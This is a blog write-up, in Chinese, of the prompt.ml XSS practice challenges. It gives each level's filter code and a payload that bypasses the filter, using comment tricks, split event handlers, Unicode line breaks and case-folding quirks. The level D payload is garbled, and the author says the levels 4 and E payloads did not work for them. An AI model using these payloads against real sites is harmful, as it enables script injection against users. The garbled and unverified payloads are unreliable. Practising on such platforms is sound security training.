prompt(1) to win
鑒於之前實戰發現自己對漏洞的理解比較淺薄,而且缺少積累,所以決定拿出一部分精力來練習,以彌補不足之處。
平台鏈接:http://prompt.ml/
這個平台要用prompt(1)
而非alert(1)
level 0
function escape(input) {
// warm up
// script should be executed without user interaction
return '<input type="text" value="' + input + '">';
}
把input直接拼接,用引號閉合即可
payload"><script>alert(1)</script>
level 1
function escape(input) {
// tags stripping mechanism from ExtJS library
// Ext.util.Format.stripTags
var stripTagsRE = /<\/?[^>]+>/gi;
// g,全局匹配, i,忽略大小寫
input = input.replace(stripTagsRE, '');
return '<article>' + input + '</article>';
}
過濾了<xxx>, </xxx>
,就是說標簽不能閉合,搜了一下,可以用注釋符//
閉合標簽
payload<img src=2 onerror="prompt(1)" //
level 2
function escape(input) {
// v-- frowny face
input = input.replace(/[=(]/g, '');
// ok seriously, disallows equal signs and open parenthesis
return input;
}
過濾了[, =, (,]
,emmmm,幾乎是都用不了,需要用編碼(HTML實體編碼)繞過,而編碼解析后不會被當作標簽,只有<svg>
標簽是例外,svg標簽后的內容會被當作XML先進行HTML解碼,然后再解析
payload<svg><script>prompt(1)</script>
level 3
function escape(input) {
// filter potential comment end delimiters
input = input.replace(/->/g, '_');
// comment the input to avoid script execution
return '<!-- ' + input + ' -->';
}
把->
替換成_
,emmmm,得像個辦法bypass注釋,想到了條件注釋,但是非IE情況下,條件注釋格式為
<!--[if !IE]>HTML_CODE<!--<![endif]-->
但是條件注釋只有IE才會執行, = =
搜了下,發現也可以用--!>
來閉合注釋
payload--!><script>prompt(1)</script>
level 4
function escape(input) {
// make sure the script belongs to own site
// sample script: http://prompt.ml/js/test.js
if (/^(?:https?:)?\/\/prompt\.ml\//i.test(decodeURIComponent(input))) {
var script = document.createElement('script');
script.src = input;
return script.outerHTML;
} else {
return 'Invalid resource.';
}
}
正則表達式要求必須是https://prompt.ml
開頭的地址,emmmm,想了半天沒有思緒,去看了wp
瀏覽器支持這樣的URLhttp://user:password@xxxxx.xxx
,是以user:password為憑據去請求xxxxx.xxx
這里是要用URL參數里的@
來加載js文件,
scheme:[//[user[:password]@]host[:port]][/path][?query][#fragment]
而http//user:password/@xxxxx.xxx
后邊加一個斜杠是不允許的,而代碼中有decodeURIComponent
所以用%2f
代替/
payloadhttp://prompt.ml%2f@example.com
需要本地服務器或者vps,我都沒成功,訪問其他網頁也都不行
= = 不知道是怎么回事,如果有人知道的話,請告訴我一下,謝謝。
level 5
function escape(input) {
// apply strict filter rules of level 1
// filter ">" and event handlers
input = input.replace(/>|on.+?=|focus/gi, '_');
return '<input value="' + input + '" type="text">';
}
level 1 的加強版,過濾了>, onxxx=, focus
忽略大小寫,想起了前邊用的注釋封閉,但是前邊的input標簽沒法封閉,所以只能在input標簽里完成,想到src的javascript偽協議,src屬性只有type=image的時候才會起作用,所以覆蓋type,然后寫入src asd" type="image" src="javascript:alert(1)
,無法運行,自己寫了個腳本試驗了下,也不行,emmmmm,又去看了wp
這里的onxxxxx=可以用換行繞過,漲姿勢了
payload asd" type="image" src=1 onerror
=prompt(1)
level 6
function escape(input) {
// let's do a post redirection
try {
// pass in formURL#formDataJSON
// e.g. http://httpbin.org/post#{"name":"Matt"}
var segments = input.split('#');
var formURL = segments[0];
var formData = JSON.parse(segments[1]);
var form = document.createElement('form');
form.action = formURL;
form.method = 'post';
for (var i in formData) {
var input = form.appendChild(document.createElement('input'));
input.name = i;
input.setAttribute('value', formData[i]);
}
return form.outerHTML + ' \n\
<script> \n\
// forbid javascript: or vbscript: and data: stuff \n\
if (!/script:|data:/i.test(document.forms[0].action)) \n\
document.forms[0].submit(); \n\
else \n\
document.write("Action forbidden.") \n\
</script> \n\
';
} catch (e) {
return 'Invalid form data.';
}
}
= =突然變長
代碼的大概意思是,把輸入的鏈接,比如http://httpbin.org/post#{"name":"Matt"}
轉換成一個post方式的form表單,表單內容是#
后的json,然后會自動檢測actionURL的內容,如果沒有script:, data:, sbscript:
,就會提交
這里我想的是,構造一個網站,返回<script>prompt(1)</script>
,成功了。但是覺得和這里的情景不太相符,去看了wp = = (tcl
這里運用到的是action的特性,如果前后都有action,訪問action的時候會訪問后面的值。
所以用一個input來冒充action即可
payloadjavascript:prompt(1)#{"action":1}
休息了好幾天了,覺得效率很低,還是得做題,做題不能停
越做越覺得自己是井底之蛙 = = ,qtmd,奧里給,我先干了
level 7
function escape(input) {
// pass in something like dog#cat#bird#mouse...
var segments = input.split('#');
return segments.map(function(title) {
// title can only contain 12 characters
return '<p class="comment" title="' + title.slice(0, 12) + '"></p>';
}).join('\n');
}
這段代碼的作用是把輸入的aaa#bbb#ccc
根據#
切片,每一個都會生成一個p標簽,輸入的值是title(長度<=12)
這道題想到了要用注釋,但是沒有找到正確的注釋使用方法
這里用的是<script>
標簽的注釋功能
payload"><script>/*#*/prompt/*#*/(1)/*#*/</script>"
level 8
function escape(input) {
// prevent input from getting out of comment
// strip off line-breaks and stuff
input = input.replace(/[\r\n</"]/g, '');
return ' \n\
<script> \n\
// console.log("' + input + '"); \n\
</script> ';
}
把輸入放到//
注釋里,過濾了\r, \n, <, /
編碼繞過編碼繞過編碼繞過,這個思想很重要很重要,得記下了。
這里用到的知識點
- U+2028是unicode的換行符(bypass注釋)
- -->在js種可當注釋使用(bypass過濾)
payload"\u2028prompt(1)\u2028-->"
把這一串復制到console里,然后把結果復制出來就可以了
特殊字符不會顯示出來,想要看到特殊字符的話,把結果復制出來,再粘貼會console就能看到
level 9
function escape(input) {
// filter potential start-tags
input = input.replace(/<([a-zA-Z])/g, '<_$1');
// use all-caps for heading
input = input.toUpperCase();
// sample input: you shall not pass! => YOU SHALL NOT PASS!
return '<h1>' + input + '</h1>';
}
過濾了< + 字母
的所有情況,並且把字母都轉換為大寫,最后把大寫后的輸入嵌入到h1標簽里
這道題又是知識盲區 = =!
這里要用到的是toUpperCase()
函數的一個特性:可以把部分unicode轉義,這里用的s
的一個其他編碼ſ
payload<ſcript ſrc="http://localhost/prompt.js"></ſcript>
level A
function escape(input) {
// (╯°□°)╯︵ ┻━┻
input = encodeURIComponent(input).replace(/prompt/g, 'alert');
// ┬──┬ ノ( ゜-゜ノ) chill out bro
input = input.replace(/'/g, '');
// (╯°□°)╯︵ /(.□. \)DONT FLIP ME BRO
return '<script>' + input + '</script> ';
}
把輸入進行URI編碼,用alert
替換掉prompt
,過濾掉'
,然后嵌入到script
標簽里
!!!又是一個很重要的思想,利用過濾來重建payload
payloadpro'mpt(1)
,函數會會自動過濾掉'
level B
function escape(input) {
// name should not contain special characters
var memberName = input.replace(/[[|\s+*/\\<>&^:;=~!%-]/g, '');
// data to be parsed as JSON
var dataString = '{"action":"login","message":"Welcome back, ' + memberName + '."}';
// directly "parse" data in script context
return ' \n\
<script> \n\
var data = ' + dataString + '; \n\
if (data.action === "login") \n\
document.write(data.message) \n\
</script> ';
}
過濾了[|\s+*/\\<>&^:;=~!%-
這里的\s
表示匹配空白
這道題用到的知識點
(prompt(1)) instanceof"1" 和 (prompt(1)) in"1"
可以運行- 例如
(prompt(1))in'asd'
雖然會報錯,但時已經執行
payload"(prompt(1))in"
level C
function escape(input) {
// in Soviet Russia...
input = encodeURIComponent(input).replace(/'/g, '');
// table flips you!
input = input.replace(/prompt/g, 'alert');
// ノ┬─┬ノ ︵ ( \o°o)\
return '<script>' + input + '</script> ';
}
URL編碼,過濾掉'
,用alert
替換掉prompt
,就是level A的兩個過濾調換了順序
這道題可以用數字來代替
用parseInt(string,x)
生成用x進制表示的string
payload(eval((867982141).toString(32)))(1)
level D
function escape(input) {
// extend method from Underscore library
// _.extend(destination, *sources)
function extend(obj) {
var source, prop;
for (var i = 1, length = arguments.length; i < length; i++) {
source = arguments[i];
for (prop in source) {
obj[prop] = source[prop];
}
}
return obj;
}
// a simple picture plugin
try {
// pass in something like {"source":"http://sandbox.prompt.ml/PROMPT.JPG"}
var data = JSON.parse(input);
var config = extend({
// default image source
source: 'http://placehold.it/350x150'
}, JSON.parse(input));
// forbit invalid image source
if (/[^\w:\/.]/.test(config.source)) {
delete config.source;
}
// purify the source by stripping off "
var source = config.source.replace(/"/g, '');
// insert the content using mustache-ish template
return '<img src="{{source}}">'.replace('{{source}}', source);
} catch (e) {
return 'Invalid image data.';
}
}
代碼大致意思是,輸入的json會傳入source的字典,然后加到config里,刪掉以字母數字下划線/
開頭的source,並過濾source里的"
,嵌入到img標簽的src里
這里用到的知識點:
-
訪問對象的屬性的時候,如果該屬性不存在,就會去
__proto__
里面找 -
js的replace神奇用法
Pattern Inserts $$ Inserts a “$”. $& 插入匹配子串 $` 插入匹配子串之前的內容 $’ 插入匹配子串之后的內容 $n 當n是小於100的正整數時,插入第n個正則表達式相匹配的內容 payload
{"source":{}."__proto__":{"source"L"$
onerror=prompt(1)>"}}`
level E
function escape(input) {
// I expect this one will have other solutions, so be creative :)
// mspaint makes all file names in all-caps :(
// too lazy to convert them back in lower case
// sample input: prompt.jpg => PROMPT.JPG
input = input.toUpperCase();
// only allows images loaded from own host or data URI scheme
input = input.replace(/\/\/|\w+:/g, 'data:');
// miscellaneous filtering
input = input.replace(/[\\&+%\s]|vbs/gi, '_');
return '<img src="' + input + '">';
}
輸入:
-
轉換到大寫
-
用
data:
替換//
和字母數字下划線:
-
用
_
替換含有\&+%空白字符
的串或者vbs
-
嵌入img標簽的src里
大概想到了href/src里的data用法,但限制有點多,不知道怎么處理,去看了wp
這道題大概思路是,因為xx:會被替換為
data:
,所以可以用編碼繞過,看了好幾篇wp,都是說沒法成功,官方wp也不行,= =,先把payload貼上吧
payload"><IFRAME/SRC="x:text/html;base64,PHNjcmlwdCBzcmM9Imh0dHA6Ly8xMjcuMC4wLjEvcHJvbXB0LmpzIj48L3NjcmlwdD4=">
可以在網頁源碼里看到解析出的都是亂碼,所以
這里需要一個瀏覽器支持的,而且全大寫的編碼來bypass,base16和32都是全大寫+數字,但是不支持
去看了MDN的文檔,data:[<mediatype>][;base64],<data>
,只支持base64
試了還多方法,都不行,也去問了syh大哥,也是沒得辦法,先過了吧
level F
function escape(input) {
// sort of spoiler of level 7
input = input.replace(/\*/g, '');
// pass in something like dog#cat#bird#mouse...
var segments = input.split('#');
return segments.map(function(title, index) {
// title can only contain 15 characters
return '<p class="comment" title="' + title.slice(0, 15) + '" data-comment=\'{"id":' + index + '}\'></p>';
}).join('\n');
}
輸入:
- 過濾
*
- 根據
#
切片 - 返回p標簽,title是輸入的值,index是遞增自變量
ban掉了多行注釋/**/
但是還有<!--,但這個是html注釋,在html解析的時候才會生效,所以需要添加<svg>
標簽來加載一次解析
payload"><svg><!--#--><script><!--#-->prompt<!--#-->(1)<!--#--></script>
總結
我tcl,還得多淦
看了好多wp
https://blog.csdn.net/weixin_30618985/article/details/99755279